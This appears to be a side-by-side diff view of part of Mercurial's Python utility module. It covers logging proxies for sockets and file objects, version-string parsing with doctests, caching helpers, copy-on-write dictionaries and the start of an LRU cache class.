676 | 677 | '_orig', |
|
677 | 678 | '_observer', |
|
678 | 679 | ) |
|
679 | 680 | |
|
680 | 681 | def __init__(self, sock, observer): |
|
681 | 682 | object.__setattr__(self, '_orig', sock) |
|
682 | 683 | object.__setattr__(self, '_observer', observer) |
|
683 | 684 | |
|
684 | 685 | def __getattribute__(self, name): |
|
685 | 686 | if name in PROXIED_SOCKET_METHODS: |
|
686 | 687 | return object.__getattribute__(self, name) |
|
687 | 688 | |
|
688 | 689 | return getattr(object.__getattribute__(self, '_orig'), name) |
|
689 | 690 | |
|
690 | 691 | def __delattr__(self, name): |
|
691 | 692 | return delattr(object.__getattribute__(self, '_orig'), name) |
|
692 | 693 | |
|
693 | 694 | def __setattr__(self, name, value): |
|
694 | 695 | return setattr(object.__getattribute__(self, '_orig'), name, value) |
|
695 | 696 | |
|
696 | 697 | def __nonzero__(self): |
|
697 | 698 | return bool(object.__getattribute__(self, '_orig')) |
|
698 | 699 | |
|
699 | 700 | __bool__ = __nonzero__ |
|
700 | 701 | |
|
701 | 702 | def _observedcall(self, name, *args, **kwargs): |
|
702 | 703 | # Call the original object. |
|
703 | 704 | orig = object.__getattribute__(self, '_orig') |
|
704 | 705 | res = getattr(orig, name)(*args, **kwargs) |
|
705 | 706 | |
|
706 | 707 | # Call a method on the observer of the same name with arguments |
|
707 | 708 | # so it can react, log, etc. |
|
708 | 709 | observer = object.__getattribute__(self, '_observer') |
|
709 | 710 | fn = getattr(observer, name, None) |
|
710 | 711 | if fn: |
|
711 | 712 | fn(res, *args, **kwargs) |
|
712 | 713 | |
|
713 | 714 | return res |
|
714 | 715 | |
|
715 | 716 | def makefile(self, *args, **kwargs): |
|
716 | 717 | res = object.__getattribute__(self, '_observedcall')( |
|
717 | 718 | 'makefile', *args, **kwargs |
|
718 | 719 | ) |
|
719 | 720 | |
|
720 | 721 | # The file object may be used for I/O. So we turn it into a |
|
721 | 722 | # proxy using our observer. |
|
722 | 723 | observer = object.__getattribute__(self, '_observer') |
|
723 | 724 | return makeloggingfileobject( |
|
724 | 725 | observer.fh, |
|
725 | 726 | res, |
|
726 | 727 | observer.name, |
|
727 | 728 | reads=observer.reads, |
|
728 | 729 | writes=observer.writes, |
|
729 | 730 | logdata=observer.logdata, |
|
730 | 731 | logdataapis=observer.logdataapis, |
|
731 | 732 | ) |
|
732 | 733 | |
|
733 | 734 | def recv(self, *args, **kwargs): |
|
734 | 735 | return object.__getattribute__(self, '_observedcall')( |
|
735 | 736 | 'recv', *args, **kwargs |
|
736 | 737 | ) |
|
737 | 738 | |
|
738 | 739 | def recvfrom(self, *args, **kwargs): |
|
739 | 740 | return object.__getattribute__(self, '_observedcall')( |
|
740 | 741 | 'recvfrom', *args, **kwargs |
|
741 | 742 | ) |
|
742 | 743 | |
|
743 | 744 | def recvfrom_into(self, *args, **kwargs): |
|
744 | 745 | return object.__getattribute__(self, '_observedcall')( |
|
745 | 746 | 'recvfrom_into', *args, **kwargs |
|
746 | 747 | ) |
|
747 | 748 | |
|
748 | 749 | def recv_into(self, *args, **kwargs): |
|
749 | 750 | return object.__getattribute__(self, '_observedcall')( |
|
750 | 751 | 'recv_info', *args, **kwargs |
|
751 | 752 | ) |
|
752 | 753 | |
|
753 | 754 | def send(self, *args, **kwargs): |
|
754 | 755 | return object.__getattribute__(self, '_observedcall')( |
|
755 | 756 | 'send', *args, **kwargs |
|
756 | 757 | ) |
|
757 | 758 | |
|
758 | 759 | def sendall(self, *args, **kwargs): |
|
759 | 760 | return object.__getattribute__(self, '_observedcall')( |
|
760 | 761 | 'sendall', *args, **kwargs |
|
761 | 762 | ) |
|
762 | 763 | |
|
763 | 764 | def sendto(self, *args, **kwargs): |
|
764 | 765 | return object.__getattribute__(self, '_observedcall')( |
|
765 | 766 | 'sendto', *args, **kwargs |
|
766 | 767 | ) |
|
767 | 768 | |
|
768 | 769 | def setblocking(self, *args, **kwargs): |
|
769 | 770 | return object.__getattribute__(self, '_observedcall')( |
|
770 | 771 | 'setblocking', *args, **kwargs |
|
771 | 772 | ) |
|
772 | 773 | |
|
773 | 774 | def settimeout(self, *args, **kwargs): |
|
774 | 775 | return object.__getattribute__(self, '_observedcall')( |
|
775 | 776 | 'settimeout', *args, **kwargs |
|
776 | 777 | ) |
|
777 | 778 | |
|
778 | 779 | def gettimeout(self, *args, **kwargs): |
|
779 | 780 | return object.__getattribute__(self, '_observedcall')( |
|
780 | 781 | 'gettimeout', *args, **kwargs |
|
781 | 782 | ) |
|
782 | 783 | |
|
783 | 784 | def setsockopt(self, *args, **kwargs): |
|
784 | 785 | return object.__getattribute__(self, '_observedcall')( |
|
785 | 786 | 'setsockopt', *args, **kwargs |
|
786 | 787 | ) |
|
787 | 788 | |
|
788 | 789 | |
|
789 | 790 | class baseproxyobserver(object): |
|
790 | 791 | def _writedata(self, data): |
|
791 | 792 | if not self.logdata: |
|
792 | 793 | if self.logdataapis: |
|
793 | 794 | self.fh.write(b'\n') |
|
794 | 795 | self.fh.flush() |
|
795 | 796 | return |
|
796 | 797 | |
|
797 | 798 | # Simple case writes all data on a single line. |
|
798 | 799 | if b'\n' not in data: |
|
799 | 800 | if self.logdataapis: |
|
800 | 801 | self.fh.write(b': %s\n' % stringutil.escapestr(data)) |
|
801 | 802 | else: |
|
802 | 803 | self.fh.write( |
|
803 | 804 | b'%s> %s\n' % (self.name, stringutil.escapestr(data)) |
|
804 | 805 | ) |
|
805 | 806 | self.fh.flush() |
|
806 | 807 | return |
|
807 | 808 | |
|
808 | 809 | # Data with newlines is written to multiple lines. |
|
809 | 810 | if self.logdataapis: |
|
810 | 811 | self.fh.write(b':\n') |
|
811 | 812 | |
|
812 | 813 | lines = data.splitlines(True) |
|
813 | 814 | for line in lines: |
|
814 | 815 | self.fh.write( |
|
815 | 816 | b'%s> %s\n' % (self.name, stringutil.escapestr(line)) |
|
816 | 817 | ) |
|
817 | 818 | self.fh.flush() |
|
818 | 819 | |
|
819 | 820 | |
|
820 | 821 | class fileobjectobserver(baseproxyobserver): |
|
821 | 822 | """Logs file object activity.""" |
|
822 | 823 | |
|
823 | 824 | def __init__( |
|
824 | 825 | self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
|
825 | 826 | ): |
|
826 | 827 | self.fh = fh |
|
827 | 828 | self.name = name |
|
828 | 829 | self.logdata = logdata |
|
829 | 830 | self.logdataapis = logdataapis |
|
830 | 831 | self.reads = reads |
|
831 | 832 | self.writes = writes |
|
832 | 833 | |
|
833 | 834 | def read(self, res, size=-1): |
|
834 | 835 | if not self.reads: |
|
835 | 836 | return |
|
836 | 837 | # Python 3 can return None from reads at EOF instead of empty strings. |
|
837 | 838 | if res is None: |
|
838 | 839 | res = b'' |
|
839 | 840 | |
|
840 | 841 | if size == -1 and res == b'': |
|
841 | 842 | # Suppress pointless read(-1) calls that return |
|
842 | 843 | # nothing. These happen _a lot_ on Python 3, and there |
|
843 | 844 | # doesn't seem to be a better workaround to have matching |
|
844 | 845 | # Python 2 and 3 behavior. :( |
|
845 | 846 | return |
|
846 | 847 | |
|
847 | 848 | if self.logdataapis: |
|
848 | 849 | self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res))) |
|
849 | 850 | |
|
850 | 851 | self._writedata(res) |
|
851 | 852 | |
|
852 | 853 | def readline(self, res, limit=-1): |
|
853 | 854 | if not self.reads: |
|
854 | 855 | return |
|
855 | 856 | |
|
856 | 857 | if self.logdataapis: |
|
857 | 858 | self.fh.write(b'%s> readline() -> %d' % (self.name, len(res))) |
|
858 | 859 | |
|
859 | 860 | self._writedata(res) |
|
860 | 861 | |
|
861 | 862 | def readinto(self, res, dest): |
|
862 | 863 | if not self.reads: |
|
863 | 864 | return |
|
864 | 865 | |
|
865 | 866 | if self.logdataapis: |
|
866 | 867 | self.fh.write( |
|
867 | 868 | b'%s> readinto(%d) -> %r' % (self.name, len(dest), res) |
|
868 | 869 | ) |
|
869 | 870 | |
|
870 | 871 | data = dest[0:res] if res is not None else b'' |
|
871 | 872 | |
|
872 | 873 | # _writedata() uses "in" operator and is confused by memoryview because |
|
873 | 874 | # characters are ints on Python 3. |
|
874 | 875 | if isinstance(data, memoryview): |
|
875 | 876 | data = data.tobytes() |
|
876 | 877 | |
|
877 | 878 | self._writedata(data) |
|
878 | 879 | |
|
879 | 880 | def write(self, res, data): |
|
880 | 881 | if not self.writes: |
|
881 | 882 | return |
|
882 | 883 | |
|
883 | 884 | # Python 2 returns None from some write() calls. Python 3 (reasonably) |
|
884 | 885 | # returns the integer bytes written. |
|
885 | 886 | if res is None and data: |
|
886 | 887 | res = len(data) |
|
887 | 888 | |
|
888 | 889 | if self.logdataapis: |
|
889 | 890 | self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res)) |
|
890 | 891 | |
|
891 | 892 | self._writedata(data) |
|
892 | 893 | |
|
893 | 894 | def flush(self, res): |
|
894 | 895 | if not self.writes: |
|
895 | 896 | return |
|
896 | 897 | |
|
897 | 898 | self.fh.write(b'%s> flush() -> %r\n' % (self.name, res)) |
|
898 | 899 | |
|
899 | 900 | # For observedbufferedinputpipe. |
|
900 | 901 | def bufferedread(self, res, size): |
|
901 | 902 | if not self.reads: |
|
902 | 903 | return |
|
903 | 904 | |
|
904 | 905 | if self.logdataapis: |
|
905 | 906 | self.fh.write( |
|
906 | 907 | b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res)) |
|
907 | 908 | ) |
|
908 | 909 | |
|
909 | 910 | self._writedata(res) |
|
910 | 911 | |
|
911 | 912 | def bufferedreadline(self, res): |
|
912 | 913 | if not self.reads: |
|
913 | 914 | return |
|
914 | 915 | |
|
915 | 916 | if self.logdataapis: |
|
916 | 917 | self.fh.write( |
|
917 | 918 | b'%s> bufferedreadline() -> %d' % (self.name, len(res)) |
|
918 | 919 | ) |
|
919 | 920 | |
|
920 | 921 | self._writedata(res) |
|
921 | 922 | |
|
922 | 923 | |
|
923 | 924 | def makeloggingfileobject( |
|
924 | 925 | logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
|
925 | 926 | ): |
|
926 | 927 | """Turn a file object into a logging file object.""" |
|
927 | 928 | |
|
928 | 929 | observer = fileobjectobserver( |
|
929 | 930 | logh, |
|
930 | 931 | name, |
|
931 | 932 | reads=reads, |
|
932 | 933 | writes=writes, |
|
933 | 934 | logdata=logdata, |
|
934 | 935 | logdataapis=logdataapis, |
|
935 | 936 | ) |
|
936 | 937 | return fileobjectproxy(fh, observer) |
|
937 | 938 | |
|
938 | 939 | |
|
939 | 940 | class socketobserver(baseproxyobserver): |
|
940 | 941 | """Logs socket activity.""" |
|
941 | 942 | |
|
942 | 943 | def __init__( |
|
943 | 944 | self, |
|
944 | 945 | fh, |
|
945 | 946 | name, |
|
946 | 947 | reads=True, |
|
947 | 948 | writes=True, |
|
948 | 949 | states=True, |
|
949 | 950 | logdata=False, |
|
950 | 951 | logdataapis=True, |
|
951 | 952 | ): |
|
952 | 953 | self.fh = fh |
|
953 | 954 | self.name = name |
|
954 | 955 | self.reads = reads |
|
955 | 956 | self.writes = writes |
|
956 | 957 | self.states = states |
|
957 | 958 | self.logdata = logdata |
|
958 | 959 | self.logdataapis = logdataapis |
|
959 | 960 | |
|
960 | 961 | def makefile(self, res, mode=None, bufsize=None): |
|
961 | 962 | if not self.states: |
|
962 | 963 | return |
|
963 | 964 | |
|
964 | 965 | self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize)) |
|
965 | 966 | |
|
966 | 967 | def recv(self, res, size, flags=0): |
|
967 | 968 | if not self.reads: |
|
968 | 969 | return |
|
969 | 970 | |
|
970 | 971 | if self.logdataapis: |
|
971 | 972 | self.fh.write( |
|
972 | 973 | b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res)) |
|
973 | 974 | ) |
|
974 | 975 | self._writedata(res) |
|
975 | 976 | |
|
976 | 977 | def recvfrom(self, res, size, flags=0): |
|
977 | 978 | if not self.reads: |
|
978 | 979 | return |
|
979 | 980 | |
|
980 | 981 | if self.logdataapis: |
|
981 | 982 | self.fh.write( |
|
982 | 983 | b'%s> recvfrom(%d, %d) -> %d' |
|
983 | 984 | % (self.name, size, flags, len(res[0])) |
|
984 | 985 | ) |
|
985 | 986 | |
|
986 | 987 | self._writedata(res[0]) |
|
987 | 988 | |
|
988 | 989 | def recvfrom_into(self, res, buf, size, flags=0): |
|
989 | 990 | if not self.reads: |
|
990 | 991 | return |
|
991 | 992 | |
|
992 | 993 | if self.logdataapis: |
|
993 | 994 | self.fh.write( |
|
994 | 995 | b'%s> recvfrom_into(%d, %d) -> %d' |
|
995 | 996 | % (self.name, size, flags, res[0]) |
|
996 | 997 | ) |
|
997 | 998 | |
|
998 | 999 | self._writedata(buf[0 : res[0]]) |
|
999 | 1000 | |
|
1000 | 1001 | def recv_into(self, res, buf, size=0, flags=0): |
|
1001 | 1002 | if not self.reads: |
|
1002 | 1003 | return |
|
1003 | 1004 | |
|
1004 | 1005 | if self.logdataapis: |
|
1005 | 1006 | self.fh.write( |
|
1006 | 1007 | b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res) |
|
1007 | 1008 | ) |
|
1008 | 1009 | |
|
1009 | 1010 | self._writedata(buf[0:res]) |
|
1010 | 1011 | |
|
1011 | 1012 | def send(self, res, data, flags=0): |
|
1012 | 1013 | if not self.writes: |
|
1013 | 1014 | return |
|
1014 | 1015 | |
|
1015 | 1016 | self.fh.write( |
|
1016 | 1017 | b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res)) |
|
1017 | 1018 | ) |
|
1018 | 1019 | self._writedata(data) |
|
1019 | 1020 | |
|
1020 | 1021 | def sendall(self, res, data, flags=0): |
|
1021 | 1022 | if not self.writes: |
|
1022 | 1023 | return |
|
1023 | 1024 | |
|
1024 | 1025 | if self.logdataapis: |
|
1025 | 1026 | # Returns None on success. So don't bother reporting return value. |
|
1026 | 1027 | self.fh.write( |
|
1027 | 1028 | b'%s> sendall(%d, %d)' % (self.name, len(data), flags) |
|
1028 | 1029 | ) |
|
1029 | 1030 | |
|
1030 | 1031 | self._writedata(data) |
|
1031 | 1032 | |
|
1032 | 1033 | def sendto(self, res, data, flagsoraddress, address=None): |
|
1033 | 1034 | if not self.writes: |
|
1034 | 1035 | return |
|
1035 | 1036 | |
|
1036 | 1037 | if address: |
|
1037 | 1038 | flags = flagsoraddress |
|
1038 | 1039 | else: |
|
1039 | 1040 | flags = 0 |
|
1040 | 1041 | |
|
1041 | 1042 | if self.logdataapis: |
|
1042 | 1043 | self.fh.write( |
|
1043 | 1044 | b'%s> sendto(%d, %d, %r) -> %d' |
|
1044 | 1045 | % (self.name, len(data), flags, address, res) |
|
1045 | 1046 | ) |
|
1046 | 1047 | |
|
1047 | 1048 | self._writedata(data) |
|
1048 | 1049 | |
|
1049 | 1050 | def setblocking(self, res, flag): |
|
1050 | 1051 | if not self.states: |
|
1051 | 1052 | return |
|
1052 | 1053 | |
|
1053 | 1054 | self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag)) |
|
1054 | 1055 | |
|
1055 | 1056 | def settimeout(self, res, value): |
|
1056 | 1057 | if not self.states: |
|
1057 | 1058 | return |
|
1058 | 1059 | |
|
1059 | 1060 | self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value)) |
|
1060 | 1061 | |
|
1061 | 1062 | def gettimeout(self, res): |
|
1062 | 1063 | if not self.states: |
|
1063 | 1064 | return |
|
1064 | 1065 | |
|
1065 | 1066 | self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res)) |
|
1066 | 1067 | |
|
1067 | 1068 | def setsockopt(self, res, level, optname, value): |
|
1068 | 1069 | if not self.states: |
|
1069 | 1070 | return |
|
1070 | 1071 | |
|
1071 | 1072 | self.fh.write( |
|
1072 | 1073 | b'%s> setsockopt(%r, %r, %r) -> %r\n' |
|
1073 | 1074 | % (self.name, level, optname, value, res) |
|
1074 | 1075 | ) |
|
1075 | 1076 | |
|
1076 | 1077 | |
|
1077 | 1078 | def makeloggingsocket( |
|
1078 | 1079 | logh, |
|
1079 | 1080 | fh, |
|
1080 | 1081 | name, |
|
1081 | 1082 | reads=True, |
|
1082 | 1083 | writes=True, |
|
1083 | 1084 | states=True, |
|
1084 | 1085 | logdata=False, |
|
1085 | 1086 | logdataapis=True, |
|
1086 | 1087 | ): |
|
1087 | 1088 | """Turn a socket into a logging socket.""" |
|
1088 | 1089 | |
|
1089 | 1090 | observer = socketobserver( |
|
1090 | 1091 | logh, |
|
1091 | 1092 | name, |
|
1092 | 1093 | reads=reads, |
|
1093 | 1094 | writes=writes, |
|
1094 | 1095 | states=states, |
|
1095 | 1096 | logdata=logdata, |
|
1096 | 1097 | logdataapis=logdataapis, |
|
1097 | 1098 | ) |
|
1098 | 1099 | return socketproxy(fh, observer) |
|
1099 | 1100 | |
|
1100 | 1101 | |
|
1101 | 1102 | def version(): |
|
1102 | 1103 | """Return version information if available.""" |
|
1103 | 1104 | try: |
|
1104 | 1105 | from . import __version__ |
|
1105 | 1106 | |
|
1106 | 1107 | return __version__.version |
|
1107 | 1108 | except ImportError: |
|
1108 | 1109 | return b'unknown' |
|
1109 | 1110 | |
|
1110 | 1111 | |
|
1111 | 1112 | def versiontuple(v=None, n=4): |
|
1112 | 1113 | """Parses a Mercurial version string into an N-tuple. |
|
1113 | 1114 | |
|
1114 | 1115 | The version string to be parsed is specified with the ``v`` argument. |
|
1115 | 1116 | If it isn't defined, the current Mercurial version string will be parsed. |
|
1116 | 1117 | |
|
1117 | 1118 | ``n`` can be 2, 3, or 4. Here is how some version strings map to |
|
1118 | 1119 | returned values: |
|
1119 | 1120 | |
|
1120 | 1121 | >>> v = b'3.6.1+190-df9b73d2d444' |
|
1121 | 1122 | >>> versiontuple(v, 2) |
|
1122 | 1123 | (3, 6) |
|
1123 | 1124 | >>> versiontuple(v, 3) |
|
1124 | 1125 | (3, 6, 1) |
|
1125 | 1126 | >>> versiontuple(v, 4) |
|
1126 | 1127 | (3, 6, 1, '190-df9b73d2d444') |
|
1127 | 1128 | |
|
1128 | 1129 | >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
|
1129 | 1130 | (3, 6, 1, '190-df9b73d2d444+20151118') |
|
1130 | 1131 | |
|
1131 | 1132 | >>> v = b'3.6' |
|
1132 | 1133 | >>> versiontuple(v, 2) |
|
1133 | 1134 | (3, 6) |
|
1134 | 1135 | >>> versiontuple(v, 3) |
|
1135 | 1136 | (3, 6, None) |
|
1136 | 1137 | >>> versiontuple(v, 4) |
|
1137 | 1138 | (3, 6, None, None) |
|
1138 | 1139 | |
|
1139 | 1140 | >>> v = b'3.9-rc' |
|
1140 | 1141 | >>> versiontuple(v, 2) |
|
1141 | 1142 | (3, 9) |
|
1142 | 1143 | >>> versiontuple(v, 3) |
|
1143 | 1144 | (3, 9, None) |
|
1144 | 1145 | >>> versiontuple(v, 4) |
|
1145 | 1146 | (3, 9, None, 'rc') |
|
1146 | 1147 | |
|
1147 | 1148 | >>> v = b'3.9-rc+2-02a8fea4289b' |
|
1148 | 1149 | >>> versiontuple(v, 2) |
|
1149 | 1150 | (3, 9) |
|
1150 | 1151 | >>> versiontuple(v, 3) |
|
1151 | 1152 | (3, 9, None) |
|
1152 | 1153 | >>> versiontuple(v, 4) |
|
1153 | 1154 | (3, 9, None, 'rc+2-02a8fea4289b') |
|
1154 | 1155 | |
|
1155 | 1156 | >>> versiontuple(b'4.6rc0') |
|
1156 | 1157 | (4, 6, None, 'rc0') |
|
1157 | 1158 | >>> versiontuple(b'4.6rc0+12-425d55e54f98') |
|
1158 | 1159 | (4, 6, None, 'rc0+12-425d55e54f98') |
|
1159 | 1160 | >>> versiontuple(b'.1.2.3') |
|
1160 | 1161 | (None, None, None, '.1.2.3') |
|
1161 | 1162 | >>> versiontuple(b'12.34..5') |
|
1162 | 1163 | (12, 34, None, '..5') |
|
1163 | 1164 | >>> versiontuple(b'1.2.3.4.5.6') |
|
1164 | 1165 | (1, 2, 3, '.4.5.6') |
|
1165 | 1166 | """ |
|
1166 | 1167 | if not v: |
|
1167 | 1168 | v = version() |
|
1168 | 1169 | m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v) |
|
1169 | 1170 | if not m: |
|
1170 | 1171 | vparts, extra = b'', v |
|
1171 | 1172 | elif m.group(2): |
|
1172 | 1173 | vparts, extra = m.groups() |
|
1173 | 1174 | else: |
|
1174 | 1175 | vparts, extra = m.group(1), None |
|
1175 | 1176 | |
|
1176 | 1177 | vints = [] |
|
1177 | 1178 | for i in vparts.split(b'.'): |
|
1178 | 1179 | try: |
|
1179 | 1180 | vints.append(int(i)) |
|
1180 | 1181 | except ValueError: |
|
1181 | 1182 | break |
|
1182 | 1183 | # (3, 6) -> (3, 6, None) |
|
1183 | 1184 | while len(vints) < 3: |
|
1184 | 1185 | vints.append(None) |
|
1185 | 1186 | |
|
1186 | 1187 | if n == 2: |
|
1187 | 1188 | return (vints[0], vints[1]) |
|
1188 | 1189 | if n == 3: |
|
1189 | 1190 | return (vints[0], vints[1], vints[2]) |
|
1190 | 1191 | if n == 4: |
|
1191 | 1192 | return (vints[0], vints[1], vints[2], extra) |
|
1192 | 1193 | |
|
1193 | 1194 | |
|
1194 | 1195 | def cachefunc(func): |
|
1195 | 1196 | '''cache the result of function calls''' |
|
1196 | 1197 | # XXX doesn't handle keywords args |
|
1197 | 1198 | if func.__code__.co_argcount == 0: |
|
1198 | 1199 | cache = [] |
|
1199 | 1200 | |
|
1200 | 1201 | def f(): |
|
1201 | 1202 | if len(cache) == 0: |
|
1202 | 1203 | cache.append(func()) |
|
1203 | 1204 | return cache[0] |
|
1204 | 1205 | |
|
1205 | 1206 | return f |
|
1206 | 1207 | cache = {} |
|
1207 | 1208 | if func.__code__.co_argcount == 1: |
|
1208 | 1209 | # we gain a small amount of time because |
|
1209 | 1210 | # we don't need to pack/unpack the list |
|
1210 | 1211 | def f(arg): |
|
1211 | 1212 | if arg not in cache: |
|
1212 | 1213 | cache[arg] = func(arg) |
|
1213 | 1214 | return cache[arg] |
|
1214 | 1215 | |
|
1215 | 1216 | else: |
|
1216 | 1217 | |
|
1217 | 1218 | def f(*args): |
|
1218 | 1219 | if args not in cache: |
|
1219 | 1220 | cache[args] = func(*args) |
|
1220 | 1221 | return cache[args] |
|
1221 | 1222 | |
|
1222 | 1223 | return f |
|
1223 | 1224 | |
|
1224 | 1225 | |
|
1225 | 1226 | class cow(object): |
|
1226 | 1227 | """helper class to make copy-on-write easier |
|
1227 | 1228 | |
|
1228 | 1229 | Call preparewrite before doing any writes. |
|
1229 | 1230 | """ |
|
1230 | 1231 | |
|
1231 | 1232 | def preparewrite(self): |
|
1232 | 1233 | """call this before writes, return self or a copied new object""" |
|
1233 | 1234 | if getattr(self, '_copied', 0): |
|
1234 | 1235 | self._copied -= 1 |
|
1235 | 1236 | return self.__class__(self) |
|
1236 | 1237 | return self |
|
1237 | 1238 | |
|
1238 | 1239 | def copy(self): |
|
1239 | 1240 | """always do a cheap copy""" |
|
1240 | 1241 | self._copied = getattr(self, '_copied', 0) + 1 |
|
1241 | 1242 | return self |
|
1242 | 1243 | |
|
1243 | 1244 | |
|
1244 | 1245 | class sortdict(collections.OrderedDict): |
|
1245 | 1246 | '''a simple sorted dictionary |
|
1246 | 1247 | |
|
1247 | 1248 | >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
|
1248 | 1249 | >>> d2 = d1.copy() |
|
1249 | 1250 | >>> d2 |
|
1250 | 1251 | sortdict([('a', 0), ('b', 1)]) |
|
1251 | 1252 | >>> d2.update([(b'a', 2)]) |
|
1252 | 1253 | >>> list(d2.keys()) # should still be in last-set order |
|
1253 | 1254 | ['b', 'a'] |
|
1254 | 1255 | ''' |
|
1255 | 1256 | |
|
1256 | 1257 | def __setitem__(self, key, value): |
|
1257 | 1258 | if key in self: |
|
1258 | 1259 | del self[key] |
|
1259 | 1260 | super(sortdict, self).__setitem__(key, value) |
|
1260 | 1261 | |
|
1261 | 1262 | if pycompat.ispypy: |
|
1262 | 1263 | # __setitem__() isn't called as of PyPy 5.8.0 |
|
1263 | 1264 | def update(self, src): |
|
1264 | 1265 | if isinstance(src, dict): |
|
1265 | 1266 | src = pycompat.iteritems(src) |
|
1266 | 1267 | for k, v in src: |
|
1267 | 1268 | self[k] = v |
|
1268 | 1269 | |
|
1269 | 1270 | |
|
1270 | 1271 | class cowdict(cow, dict): |
|
1271 | 1272 | """copy-on-write dict |
|
1272 | 1273 | |
|
1273 | 1274 | Be sure to call d = d.preparewrite() before writing to d. |
|
1274 | 1275 | |
|
1275 | 1276 | >>> a = cowdict() |
|
1276 | 1277 | >>> a is a.preparewrite() |
|
1277 | 1278 | True |
|
1278 | 1279 | >>> b = a.copy() |
|
1279 | 1280 | >>> b is a |
|
1280 | 1281 | True |
|
1281 | 1282 | >>> c = b.copy() |
|
1282 | 1283 | >>> c is a |
|
1283 | 1284 | True |
|
1284 | 1285 | >>> a = a.preparewrite() |
|
1285 | 1286 | >>> b is a |
|
1286 | 1287 | False |
|
1287 | 1288 | >>> a is a.preparewrite() |
|
1288 | 1289 | True |
|
1289 | 1290 | >>> c = c.preparewrite() |
|
1290 | 1291 | >>> b is c |
|
1291 | 1292 | False |
|
1292 | 1293 | >>> b is b.preparewrite() |
|
1293 | 1294 | True |
|
1294 | 1295 | """ |
|
1295 | 1296 | |
|
1296 | 1297 | |
|
1297 | 1298 | class cowsortdict(cow, sortdict): |
|
1298 | 1299 | """copy-on-write sortdict |
|
1299 | 1300 | |
|
1300 | 1301 | Be sure to call d = d.preparewrite() before writing to d. |
|
1301 | 1302 | """ |
|
1302 | 1303 | |
|
1303 | 1304 | |
|
1304 | 1305 | class transactional(object): # pytype: disable=ignored-metaclass |
|
1305 | 1306 | """Base class for making a transactional type into a context manager.""" |
|
1306 | 1307 | |
|
1307 | 1308 | __metaclass__ = abc.ABCMeta |
|
1308 | 1309 | |
|
1309 | 1310 | @abc.abstractmethod |
|
1310 | 1311 | def close(self): |
|
1311 | 1312 | """Successfully closes the transaction.""" |
|
1312 | 1313 | |
|
1313 | 1314 | @abc.abstractmethod |
|
1314 | 1315 | def release(self): |
|
1315 | 1316 | """Marks the end of the transaction. |
|
1316 | 1317 | |
|
1317 | 1318 | If the transaction has not been closed, it will be aborted. |
|
1318 | 1319 | """ |
|
1319 | 1320 | |
|
1320 | 1321 | def __enter__(self): |
|
1321 | 1322 | return self |
|
1322 | 1323 | |
|
1323 | 1324 | def __exit__(self, exc_type, exc_val, exc_tb): |
|
1324 | 1325 | try: |
|
1325 | 1326 | if exc_type is None: |
|
1326 | 1327 | self.close() |
|
1327 | 1328 | finally: |
|
1328 | 1329 | self.release() |
|
1329 | 1330 | |
|
1330 | 1331 | |
|
1331 | 1332 | @contextlib.contextmanager |
|
1332 | 1333 | def acceptintervention(tr=None): |
|
1333 | 1334 | """A context manager that closes the transaction on InterventionRequired |
|
1334 | 1335 | |
|
1335 | 1336 | If no transaction was provided, this simply runs the body and returns |
|
1336 | 1337 | """ |
|
1337 | 1338 | if not tr: |
|
1338 | 1339 | yield |
|
1339 | 1340 | return |
|
1340 | 1341 | try: |
|
1341 | 1342 | yield |
|
1342 | 1343 | tr.close() |
|
1343 | 1344 | except error.InterventionRequired: |
|
1344 | 1345 | tr.close() |
|
1345 | 1346 | raise |
|
1346 | 1347 | finally: |
|
1347 | 1348 | tr.release() |
|
1348 | 1349 | |
|
1349 | 1350 | |
|
1350 | 1351 | @contextlib.contextmanager |
|
1351 | 1352 | def nullcontextmanager(): |
|
1352 | 1353 | yield |
|
1353 | 1354 | |
|
1354 | 1355 | |
|
1355 | 1356 | class _lrucachenode(object): |
|
1356 | 1357 | """A node in a doubly linked list. |
|
1357 | 1358 | |
|
1358 | 1359 | Holds a reference to nodes on either side as well as a key-value |
|
1359 | 1360 | pair for the dictionary entry. |
|
1360 | 1361 | """ |
|
1361 | 1362 | |
|
1362 | 1363 | __slots__ = ('next', 'prev', 'key', 'value', 'cost') |
|
1363 | 1364 | |
|
1364 | 1365 | def __init__(self): |
|
1365 | 1366 | self.next = None |
|
1366 | 1367 | self.prev = None |
|
1367 | 1368 | |
|
1368 | 1369 | self.key = _notset |
|
1369 | 1370 | self.value = None |
|
1370 | 1371 | self.cost = 0 |
|
1371 | 1372 | |
|
1372 | 1373 | def markempty(self): |
|
1373 | 1374 | """Mark the node as emptied.""" |
|
1374 | 1375 | self.key = _notset |
|
1375 | 1376 | self.value = None |
|
1376 | 1377 | self.cost = 0 |
|
1377 | 1378 | |
|
1378 | 1379 | |
|
1379 | 1380 | class lrucachedict(object): |
|
1380 | 1381 | """Dict that caches most recent accesses and sets. |
|
1381 | 1382 | |
|
1382 | 1383 | The dict consists of an actual backing dict - indexed by original |
|
1383 | 1384 | key - and a doubly linked circular list defining the order of entries in |
|
1384 | 1385 | the cache. |
|
1385 | 1386 | |
|
1386 | 1387 | The head node is the newest entry in the cache. If the cache is full, |
|
1387 | 1388 | we recycle head.prev and make it the new head. Cache accesses result in |
|
1388 | 1389 | the node being moved to before the existing head and being marked as the |
|
1389 | 1390 | new head node. |
|
1390 | 1391 | |
|
1391 | 1392 | Items in the cache can be inserted with an optional "cost" value. This is |
|
1392 | 1393 | simply an integer that is specified by the caller. The cache can be queried |
|
1393 | 1394 | for the total cost of all items presently in the cache. |
|
1394 | 1395 | |
|
1395 | 1396 | The cache can also define a maximum cost. If a cache insertion would |
|
1396 | 1397 | cause the total cost of the cache to go beyond the maximum cost limit, |
|
1397 | 1398 | nodes will be evicted to make room for the new code. This can be used |
|
1398 | 1399 | to e.g. set a max memory limit and associate an estimated bytes size |
|
